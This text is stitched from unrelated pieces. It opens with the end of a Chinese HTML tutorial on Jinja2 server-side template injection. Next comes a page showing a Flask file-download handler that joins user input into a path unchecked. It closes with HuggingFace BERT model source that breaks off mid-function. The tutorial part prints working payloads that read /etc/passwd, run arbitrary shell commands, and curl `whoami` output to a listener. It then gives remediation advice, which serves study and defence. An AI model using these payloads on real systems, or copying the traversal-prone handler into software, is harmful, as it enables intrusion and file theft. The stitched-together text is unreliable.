class="cm-tag">}}</span>#request对象</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">().__class__.__bases__.__getitem__(</span><span class="cm-number">0</span><span class="cm-variable">).__subclasses__().pop(</span><span class="cm-number">40</span><span class="cm-variable">)(request.args.path).read() </span><span class="cm-tag">}}</span>&path=/etc/passwd</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span cm-text="" cm-zwsp="">
</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-comment">{# 命令执行 #}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-variable"> set chr</span><span class="cm-operator">=</span><span class="cm-variable">().__class__.__bases__.__getitem__(</span><span class="cm-number">0</span><span class="cm-variable">).__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.__globals__.__builtins__.chr </span><span class="cm-tag">%}</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">().__class__.__bases__.__getitem__(</span><span class="cm-number">0</span><span class="cm-variable">).__subclasses__().pop(</span><span class="cm-number">59</span><span class="cm-variable">).__init__.func_globals.linecache.os.popen(chr(</span><span class="cm-number">105</span><span class="cm-variable">)</span><span class="cm-operator">%</span><span class="cm-number">2</span><span class="cm-variable">bchr(</span><span class="cm-number">100</span><span class="cm-variable">)).read() </span><span class="cm-tag">}}</span></span></pre><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-variable">().__class__.__bases__.__getitem__(</span><span class="cm-number">0</span><span class="cm-variable">).__subclasses__().pop(</span><span class="cm-number">59</span><span class="cm-variable">).__init__.func_globals.linecache.os.popen(request.args.cmd).read() </span><span class="cm-tag">}}</span>&cmd=id</span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 368px;"></div><div class="CodeMirror-gutters" style="display: none; height: 368px;"></div></div></div></pre></li><li><p><span>过滤下划线</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="jinja2"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="jinja2"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.38281px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{{</span><span class="cm-string">''</span><span class="cm-variable">[request.args.class][request.args.mro][</span><span class="cm-number">2</span><span class="cm-variable">][request.args.subclasses]()[</span><span class="cm-number">40</span><span class="cm-variable">](</span><span class="cm-string">'/etc/passwd'</span><span class="cm-variable">).read() </span><span class="cm-tag">}}</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 46px;"></div><div class="CodeMirror-gutters" style="display: none; height: 46px;"></div></div></div></pre></li><li><p><span>过滤花括号</span></p><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="jinja2"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="jinja2"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation"><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;">#用<span class="cm-tag">{%%}</span>标记</span></pre></div><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-tag">{%</span><span class="cm-keyword"> if</span><span class="cm-variable"> </span><span class="cm-string">''</span><span class="cm-variable">.__class__.__mro__[</span><span class="cm-number">2</span><span class="cm-variable">].__subclasses__()[</span><span class="cm-number">59</span><span class="cm-variable">].__init__.func_globals.linecache.os.popen(</span><span class="cm-string">'curl http://127.0.0.1:7999/?i=`whoami`'</span><span class="cm-variable">).read()</span><span class="cm-operator">==</span><span class="cm-string">'p'</span><span class="cm-variable"> </span><span class="cm-tag">%}</span>1<span class="cm-tag">{%</span><span class="cm-keyword"> endif</span><span class="cm-variable"> </span><span class="cm-tag">%}</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 92px;"></div><div class="CodeMirror-gutters" style="display: none; height: 92px;"></div></div></div></pre></li><li><p><span>更多绕过思路见</span><strong><span>推荐学习文章</span></strong><span>部分</span></p></li></ul></li></ul><p></br></p><ul><li><p><strong><span>修复建议</span></strong></p><ol><li><p><span>输入验证和过滤:在将用户输入插入模板之前,对其进行验证和过滤。这包括验证输入的类型、长度和格式,并在可能的情况下拒绝不符合预期的输入。</span></p></li><li><p><span>模板沙盒:将用户输入限制在安全的模板构造中,可以通过白名单机制来实现。这意味着只允许使用预定义的、经过验证的模板语法,阻止恶意代码的执行。</span></p></li><li><p><span>限制模板的访问权限:限制模板引擎的访问权限,使其只能访问必要的文件和资源。避免将敏感文件暴露给模板引擎,以防止恶意代码的执行。</span></p></li></ol></li></ul><p></br></p><ul><li><p><strong><span>推荐学习文章</span></strong></p><ol><li><p><a href='https://blog.gm7.org/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/01.%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/02.web%E6%BC%8F%E6%B4%9E/21.SSTI%E6%B3%A8%E5%85%A5/' target="_blank"><span>d4m1ts-知识库-SSTI注入</span></a></p></li><li><p><a href='https://zhuanlan.zhihu.com/p/618277583' target="_blank"><span>知乎-SSTI之细说jinja2的常用构造及利用思路</span></a></p></li><li><p><a href='https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python' target="_blank"><span>SSTI (Server Side Template Injection)</span></a></p></li><li><p><a href='https://blog.csdn.net/2301_77485708/article/details/132467976' target="_blank"><span>CSDN-【网络安全 | 1.5w字总结】SSTI漏洞入门,这一篇就够了。</span></a></p></li></ol></li></ul></div></div>
</body>
</html> |
2740908911/Pilot-Web | 4,744 | pilot-client/pages/download/assist/sCode-1.html | <!doctype html>
<html>
<head>
<meta charset='UTF-8'><meta name='viewport' content='width=device-width initial-scale=1'>
<link rel='stylesheet' href='../../../plugins/googleapis/fonts.css'>
<link rel="stylesheet" href="../../../dist/css/markdown.css">
</head>
<body class='typora-export os-windows'><div class='typora-export-content'>
<div id='write' class='card'><pre class="md-fences md-end-block ty-contain-cm modeLoaded" spellcheck="false" lang="python"><div class="CodeMirror cm-s-inner cm-s-null-scroll CodeMirror-wrap" lang="python"><div style="overflow: hidden; position: relative; width: 3px; height: 0px; top: 9.51562px; left: 8px;"><textarea autocorrect="off" autocapitalize="off" spellcheck="false" tabindex="0" style="position: absolute; bottom: -1em; padding: 0px; width: 1000px; height: 1em; outline: none;"></textarea></div><div class="CodeMirror-scrollbar-filler" cm-not-content="true"></div><div class="CodeMirror-gutter-filler" cm-not-content="true"></div><div class="CodeMirror-scroll" tabindex="-1"><div class="CodeMirror-sizer" style="margin-left: 0px; margin-bottom: 0px; border-right-width: 0px; padding-right: 0px; padding-bottom: 0px;"><div style="position: relative; top: 0px;"><div class="CodeMirror-lines" role="presentation"><div role="presentation" style="position: relative; outline: none;"><div class="CodeMirror-measure"><pre><span>xxxxxxxxxx</span></pre></div><div class="CodeMirror-measure"></div><div style="position: relative; z-index: 1;"></div><div class="CodeMirror-code" role="presentation" style=""><div class="CodeMirror-activeline" style="position: relative;"><div class="CodeMirror-activeline-background CodeMirror-linebackground"></div><div class="CodeMirror-gutter-background CodeMirror-activeline-gutter" style="left: 0px; width: 0px;"></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"><span class="cm-keyword">def</span> <span class="cm-def">download</span>():</span></pre></div><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 从请求参数中获取文件路径</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">file_path</span> <span class="cm-operator">=</span> <span class="cm-variable">request</span>.<span class="cm-property">args</span>[<span class="cm-string">'file'</span>]</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">try</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 拼接文件路径</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-variable">file</span> <span class="cm-operator">=</span> <span class="cm-string">"download/"</span> <span class="cm-operator">+</span> <span class="cm-variable">file_path</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 发送文件作为附件</span></span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">send_file</span>(<span class="cm-variable">file</span>, <span class="cm-variable">as_attachment</span><span class="cm-operator">=</span><span class="cm-keyword">True</span>)</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">except</span>:</span></pre><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-comment"># 发生异常时返回文件错误响应</span></span></pre><div class="" style="position: relative;"><pre class=" CodeMirror-line " role="presentation"><span role="presentation" style="padding-right: 0.1px;"> <span class="cm-keyword">return</span> <span class="cm-variable">responses</span>.<span class="cm-property">callback_public_fileerr1</span></span></pre></div></div></div></div></div></div><div style="position: absolute; height: 0px; width: 1px; border-bottom: 0px solid transparent; top: 253px;"></div><div class="CodeMirror-gutters" style="display: none; height: 253px;"></div></div></div></pre></div></div>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 84,152 | src/transformers/models/bert/modeling_bert.py | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""PyTorch BERT model."""
import math
import os
import warnings
from dataclasses import dataclass
from typing import List, Optional, Tuple, Union
import torch
import torch.utils.checkpoint
from torch import nn
from torch.nn import BCEWithLogitsLoss, CrossEntropyLoss, MSELoss
from ...activations import ACT2FN
from ...modeling_outputs import (
BaseModelOutputWithPastAndCrossAttentions,
BaseModelOutputWithPoolingAndCrossAttentions,
CausalLMOutputWithCrossAttentions,
MaskedLMOutput,
MultipleChoiceModelOutput,
NextSentencePredictorOutput,
QuestionAnsweringModelOutput,
SequenceClassifierOutput,
TokenClassifierOutput,
)
from ...modeling_utils import PreTrainedModel
from ...pytorch_utils import apply_chunking_to_forward, find_pruneable_heads_and_indices, prune_linear_layer
from ...utils import (
ModelOutput,
add_code_sample_docstrings,
add_start_docstrings,
add_start_docstrings_to_model_forward,
logging,
replace_return_docstrings,
)
from .configuration_bert import BertConfig
logger = logging.get_logger(__name__)
_CHECKPOINT_FOR_DOC = "bert-base-uncased"
_CONFIG_FOR_DOC = "BertConfig"
# TokenClassification docstring
_CHECKPOINT_FOR_TOKEN_CLASSIFICATION = "dbmdz/bert-large-cased-finetuned-conll03-english"
_TOKEN_CLASS_EXPECTED_OUTPUT = (
"['O', 'I-ORG', 'I-ORG', 'I-ORG', 'O', 'O', 'O', 'O', 'O', 'I-LOC', 'O', 'I-LOC', 'I-LOC'] "
)
_TOKEN_CLASS_EXPECTED_LOSS = 0.01
# QuestionAnswering docstring
_CHECKPOINT_FOR_QA = "deepset/bert-base-cased-squad2"
_QA_EXPECTED_OUTPUT = "'a nice puppet'"
_QA_EXPECTED_LOSS = 7.41
_QA_TARGET_START_INDEX = 14
_QA_TARGET_END_INDEX = 15
# SequenceClassification docstring
_CHECKPOINT_FOR_SEQUENCE_CLASSIFICATION = "textattack/bert-base-uncased-yelp-polarity"
_SEQ_CLASS_EXPECTED_OUTPUT = "'LABEL_1'"
_SEQ_CLASS_EXPECTED_LOSS = 0.01
BERT_PRETRAINED_MODEL_ARCHIVE_LIST = [
"bert-base-uncased",
"bert-large-uncased",
"bert-base-cased",
"bert-large-cased",
"bert-base-multilingual-uncased",
"bert-base-multilingual-cased",
"bert-base-chinese",
"bert-base-german-cased",
"bert-large-uncased-whole-word-masking",
"bert-large-cased-whole-word-masking",
"bert-large-uncased-whole-word-masking-finetuned-squad",
"bert-large-cased-whole-word-masking-finetuned-squad",
"bert-base-cased-finetuned-mrpc",
"bert-base-german-dbmdz-cased",
"bert-base-german-dbmdz-uncased",
"cl-tohoku/bert-base-japanese",
"cl-tohoku/bert-base-japanese-whole-word-masking",
"cl-tohoku/bert-base-japanese-char",
"cl-tohoku/bert-base-japanese-char-whole-word-masking",
"TurkuNLP/bert-base-finnish-cased-v1",
"TurkuNLP/bert-base-finnish-uncased-v1",
"wietsedv/bert-base-dutch-cased",
# See all BERT models at https://huggingface.co/models?filter=bert
]
def load_tf_weights_in_bert(model, config, tf_checkpoint_path):
"""Load tf checkpoints in a pytorch model."""
try:
import re
import numpy as np
import tensorflow as tf
except ImportError:
logger.error(
"Loading a TensorFlow model in PyTorch, requires TensorFlow to be installed. Please see "
"https://www.tensorflow.org/install/ for installation instructions."
)
raise
tf_path = os.path.abspath(tf_checkpoint_path)
logger.info(f"Converting TensorFlow checkpoint from {tf_path}")
# Load weights from TF model
init_vars = tf.train.list_variables(tf_path)
names = []
arrays = []
for name, shape in init_vars:
logger.info(f"Loading TF weight {name} with shape {shape}")
array = tf.train.load_variable(tf_path, name)
names.append(name)
arrays.append(array)
for name, array in zip(names, arrays):
name = name.split("/")
# adam_v and adam_m are variables used in AdamWeightDecayOptimizer to calculated m and v
# which are not required for using pretrained model
if any(
n in ["adam_v", "adam_m", "AdamWeightDecayOptimizer", "AdamWeightDecayOptimizer_1", "global_step"]
for n in name
):
logger.info(f"Skipping {'/'.join(name)}")
continue
pointer = model
for m_name in name:
if re.fullmatch(r"[A-Za-z]+_\d+", m_name):
scope_names = re.split(r"_(\d+)", m_name)
else:
scope_names = [m_name]
if scope_names[0] == "kernel" or scope_names[0] == "gamma":
pointer = getattr(pointer, "weight")
elif scope_names[0] == "output_bias" or scope_names[0] == "beta":
pointer = getattr(pointer, "bias")
elif scope_names[0] == "output_weights":
pointer = getattr(pointer, "weight")
elif scope_names[0] == "squad":
pointer = getattr(pointer, "classifier")
else:
try:
pointer = getattr(pointer, scope_names[0])
except AttributeError:
logger.info(f"Skipping {'/'.join(name)}")
continue
if len(scope_names) >= 2:
num = int(scope_names[1])
pointer = pointer[num]
if m_name[-11:] == "_embeddings":
pointer = getattr(pointer, "weight")
elif m_name == "kernel":
array = np.transpose(array)
try:
if pointer.shape != array.shape:
raise ValueError(f"Pointer shape {pointer.shape} and array shape {array.shape} mismatched")
except AssertionError as e:
e.args += (pointer.shape, array.shape)
raise
logger.info(f"Initialize PyTorch weight {name}")
pointer.data = torch.from_numpy(array)
return model
class BertEmbeddings(nn.Module):
"""Construct the embeddings from word, position and token_type embeddings."""
def __init__(self, config):
super().__init__()
self.word_embeddings = nn.Embedding(config.vocab_size, config.hidden_size, padding_idx=config.pad_token_id)
self.position_embeddings = nn.Embedding(config.max_position_embeddings, config.hidden_size)
self.token_type_embeddings = nn.Embedding(config.type_vocab_size, config.hidden_size)
# self.LayerNorm is not snake-cased to stick with TensorFlow model variable name and be able to load
# any TensorFlow checkpoint file
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
# position_ids (1, len position emb) is contiguous in memory and exported when serialized
self.position_embedding_type = getattr(config, "position_embedding_type", "absolute")
self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1)))
self.register_buffer(
"token_type_ids", torch.zeros(self.position_ids.size(), dtype=torch.long), persistent=False
)
def forward(
self,
input_ids: Optional[torch.LongTensor] = None,
token_type_ids: Optional[torch.LongTensor] = None,
position_ids: Optional[torch.LongTensor] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
past_key_values_length: int = 0,
) -> torch.Tensor:
if input_ids is not None:
input_shape = input_ids.size()
else:
input_shape = inputs_embeds.size()[:-1]
seq_length = input_shape[1]
if position_ids is None:
position_ids = self.position_ids[:, past_key_values_length : seq_length + past_key_values_length]
# Setting the token_type_ids to the registered buffer in constructor where it is all zeros, which usually occurs
# when its auto-generated, registered buffer helps users when tracing the model without passing token_type_ids, solves
# issue #5664
if token_type_ids is None:
if hasattr(self, "token_type_ids"):
buffered_token_type_ids = self.token_type_ids[:, :seq_length]
buffered_token_type_ids_expanded = buffered_token_type_ids.expand(input_shape[0], seq_length)
token_type_ids = buffered_token_type_ids_expanded
else:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device)
if inputs_embeds is None:
inputs_embeds = self.word_embeddings(input_ids)
token_type_embeddings = self.token_type_embeddings(token_type_ids)
embeddings = inputs_embeds + token_type_embeddings
if self.position_embedding_type == "absolute":
position_embeddings = self.position_embeddings(position_ids)
embeddings += position_embeddings
embeddings = self.LayerNorm(embeddings)
embeddings = self.dropout(embeddings)
return embeddings
class BertSelfAttention(nn.Module):
def __init__(self, config, position_embedding_type=None):
super().__init__()
if config.hidden_size % config.num_attention_heads != 0 and not hasattr(config, "embedding_size"):
raise ValueError(
f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention "
f"heads ({config.num_attention_heads})"
)
self.num_attention_heads = config.num_attention_heads
self.attention_head_size = int(config.hidden_size / config.num_attention_heads)
self.all_head_size = self.num_attention_heads * self.attention_head_size
self.query = nn.Linear(config.hidden_size, self.all_head_size)
self.key = nn.Linear(config.hidden_size, self.all_head_size)
self.value = nn.Linear(config.hidden_size, self.all_head_size)
self.dropout = nn.Dropout(config.attention_probs_dropout_prob)
self.position_embedding_type = position_embedding_type or getattr(
config, "position_embedding_type", "absolute"
)
if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
self.max_position_embeddings = config.max_position_embeddings
self.distance_embedding = nn.Embedding(2 * config.max_position_embeddings - 1, self.attention_head_size)
self.is_decoder = config.is_decoder
def transpose_for_scores(self, x: torch.Tensor) -> torch.Tensor:
new_x_shape = x.size()[:-1] + (self.num_attention_heads, self.attention_head_size)
x = x.view(new_x_shape)
return x.permute(0, 2, 1, 3)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor]:
mixed_query_layer = self.query(hidden_states)
# If this is instantiated as a cross-attention module, the keys
# and values come from an encoder; the attention mask needs to be
# such that the encoder's padding tokens are not attended to.
is_cross_attention = encoder_hidden_states is not None
if is_cross_attention and past_key_value is not None:
# reuse k,v, cross_attentions
key_layer = past_key_value[0]
value_layer = past_key_value[1]
attention_mask = encoder_attention_mask
elif is_cross_attention:
key_layer = self.transpose_for_scores(self.key(encoder_hidden_states))
value_layer = self.transpose_for_scores(self.value(encoder_hidden_states))
attention_mask = encoder_attention_mask
elif past_key_value is not None:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
key_layer = torch.cat([past_key_value[0], key_layer], dim=2)
value_layer = torch.cat([past_key_value[1], value_layer], dim=2)
else:
key_layer = self.transpose_for_scores(self.key(hidden_states))
value_layer = self.transpose_for_scores(self.value(hidden_states))
query_layer = self.transpose_for_scores(mixed_query_layer)
use_cache = past_key_value is not None
if self.is_decoder:
# if cross_attention save Tuple(torch.Tensor, torch.Tensor) of all cross attention key/value_states.
# Further calls to cross_attention layer can then reuse all cross-attention
# key/value_states (first "if" case)
# if uni-directional self-attention (decoder) save Tuple(torch.Tensor, torch.Tensor) of
# all previous decoder key/value_states. Further calls to uni-directional self-attention
# can concat previous decoder key/value_states to current projected key/value_states (third "elif" case)
# if encoder bi-directional self-attention `past_key_value` is always `None`
past_key_value = (key_layer, value_layer)
# Take the dot product between "query" and "key" to get the raw attention scores.
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2))
if self.position_embedding_type == "relative_key" or self.position_embedding_type == "relative_key_query":
query_length, key_length = query_layer.shape[2], key_layer.shape[2]
if use_cache:
position_ids_l = torch.tensor(key_length - 1, dtype=torch.long, device=hidden_states.device).view(
-1, 1
)
else:
position_ids_l = torch.arange(query_length, dtype=torch.long, device=hidden_states.device).view(-1, 1)
position_ids_r = torch.arange(key_length, dtype=torch.long, device=hidden_states.device).view(1, -1)
distance = position_ids_l - position_ids_r
positional_embedding = self.distance_embedding(distance + self.max_position_embeddings - 1)
positional_embedding = positional_embedding.to(dtype=query_layer.dtype) # fp16 compatibility
if self.position_embedding_type == "relative_key":
relative_position_scores = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
attention_scores = attention_scores + relative_position_scores
elif self.position_embedding_type == "relative_key_query":
relative_position_scores_query = torch.einsum("bhld,lrd->bhlr", query_layer, positional_embedding)
relative_position_scores_key = torch.einsum("bhrd,lrd->bhlr", key_layer, positional_embedding)
attention_scores = attention_scores + relative_position_scores_query + relative_position_scores_key
attention_scores = attention_scores / math.sqrt(self.attention_head_size)
if attention_mask is not None:
# Apply the attention mask is (precomputed for all layers in BertModel forward() function)
attention_scores = attention_scores + attention_mask
# Normalize the attention scores to probabilities.
attention_probs = nn.functional.softmax(attention_scores, dim=-1)
# This is actually dropping out entire tokens to attend to, which might
# seem a bit unusual, but is taken from the original Transformer paper.
attention_probs = self.dropout(attention_probs)
# Mask heads if we want to
if head_mask is not None:
attention_probs = attention_probs * head_mask
context_layer = torch.matmul(attention_probs, value_layer)
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
new_context_layer_shape = context_layer.size()[:-2] + (self.all_head_size,)
context_layer = context_layer.view(new_context_layer_shape)
outputs = (context_layer, attention_probs) if output_attentions else (context_layer,)
if self.is_decoder:
outputs = outputs + (past_key_value,)
return outputs
class BertSelfOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states: torch.Tensor, input_tensor: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BertAttention(nn.Module):
def __init__(self, config, position_embedding_type=None):
super().__init__()
self.self = BertSelfAttention(config, position_embedding_type=position_embedding_type)
self.output = BertSelfOutput(config)
self.pruned_heads = set()
def prune_heads(self, heads):
if len(heads) == 0:
return
heads, index = find_pruneable_heads_and_indices(
heads, self.self.num_attention_heads, self.self.attention_head_size, self.pruned_heads
)
# Prune linear layers
self.self.query = prune_linear_layer(self.self.query, index)
self.self.key = prune_linear_layer(self.self.key, index)
self.self.value = prune_linear_layer(self.self.value, index)
self.output.dense = prune_linear_layer(self.output.dense, index, dim=1)
# Update hyper params and store pruned heads
self.self.num_attention_heads = self.self.num_attention_heads - len(heads)
self.self.all_head_size = self.self.attention_head_size * self.self.num_attention_heads
self.pruned_heads = self.pruned_heads.union(heads)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor]:
self_outputs = self.self(
hidden_states,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
past_key_value,
output_attentions,
)
attention_output = self.output(self_outputs[0], hidden_states)
outputs = (attention_output,) + self_outputs[1:] # add attentions if we output them
return outputs
class BertIntermediate(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.intermediate_size)
if isinstance(config.hidden_act, str):
self.intermediate_act_fn = ACT2FN[config.hidden_act]
else:
self.intermediate_act_fn = config.hidden_act
def forward(self, hidden_states: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.intermediate_act_fn(hidden_states)
return hidden_states
class BertOutput(nn.Module):
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.intermediate_size, config.hidden_size)
self.LayerNorm = nn.LayerNorm(config.hidden_size, eps=config.layer_norm_eps)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
def forward(self, hidden_states: torch.Tensor, input_tensor: torch.Tensor) -> torch.Tensor:
hidden_states = self.dense(hidden_states)
hidden_states = self.dropout(hidden_states)
hidden_states = self.LayerNorm(hidden_states + input_tensor)
return hidden_states
class BertLayer(nn.Module):
def __init__(self, config):
super().__init__()
self.chunk_size_feed_forward = config.chunk_size_feed_forward
self.seq_len_dim = 1
self.attention = BertAttention(config)
self.is_decoder = config.is_decoder
self.add_cross_attention = config.add_cross_attention
if self.add_cross_attention:
if not self.is_decoder:
raise ValueError(f"{self} should be used as a decoder model if cross attention is added")
self.crossattention = BertAttention(config, position_embedding_type="absolute")
self.intermediate = BertIntermediate(config)
self.output = BertOutput(config)
def forward(
self,
hidden_states: torch.Tensor,
attention_mask: Optional[torch.FloatTensor] = None,
head_mask: Optional[torch.FloatTensor] = None,
encoder_hidden_states: Optional[torch.FloatTensor] = None,
encoder_attention_mask: Optional[torch.FloatTensor] = None,
past_key_value: Optional[Tuple[Tuple[torch.FloatTensor]]] = None,
output_attentions: Optional[bool] = False,
) -> Tuple[torch.Tensor]:
# decoder uni-directional self-attention cached key/values tuple is at positions 1,2
self_attn_past_key_value = past_key_value[:2] if past_key_value is not None else None
self_attention_outputs = self.attention(
hidden_states,
attention_mask,
head_mask,
output_attentions=output_attentions,
past_key_value=self_attn_past_key_value,
)
attention_output = self_attention_outputs[0]
# if decoder, the last output is tuple of self-attn cache
if self.is_decoder:
outputs = self_attention_outputs[1:-1]
present_key_value = self_attention_outputs[-1]
else:
outputs = self_attention_outputs[1:] # add self attentions if we output attention weights
cross_attn_present_key_value = None
if self.is_decoder and encoder_hidden_states is not None:
if not hasattr(self, "crossattention"):
raise ValueError(
f"If `encoder_hidden_states` are passed, {self} has to be instantiated with cross-attention layers"
" by setting `config.add_cross_attention=True`"
)
# cross_attn cached key/values tuple is at positions 3,4 of past_key_value tuple
cross_attn_past_key_value = past_key_value[-2:] if past_key_value is not None else None
cross_attention_outputs = self.crossattention(
attention_output,
attention_mask,
head_mask,
encoder_hidden_states,
encoder_attention_mask,
cross_attn_past_key_value,
output_attentions,
)
attention_output = cross_attention_outputs[0]
outputs = outputs + cross_attention_outputs[1:-1] # add cross attentions if we output attention weights
# add cross-attn cache to positions 3,4 of present_key_value tuple
cross_attn_present_key_value = cross_attention_outputs[-1]
present_key_value = present_key_value + cross_attn_present_key_value
layer_output = apply_chunking_to_forward(
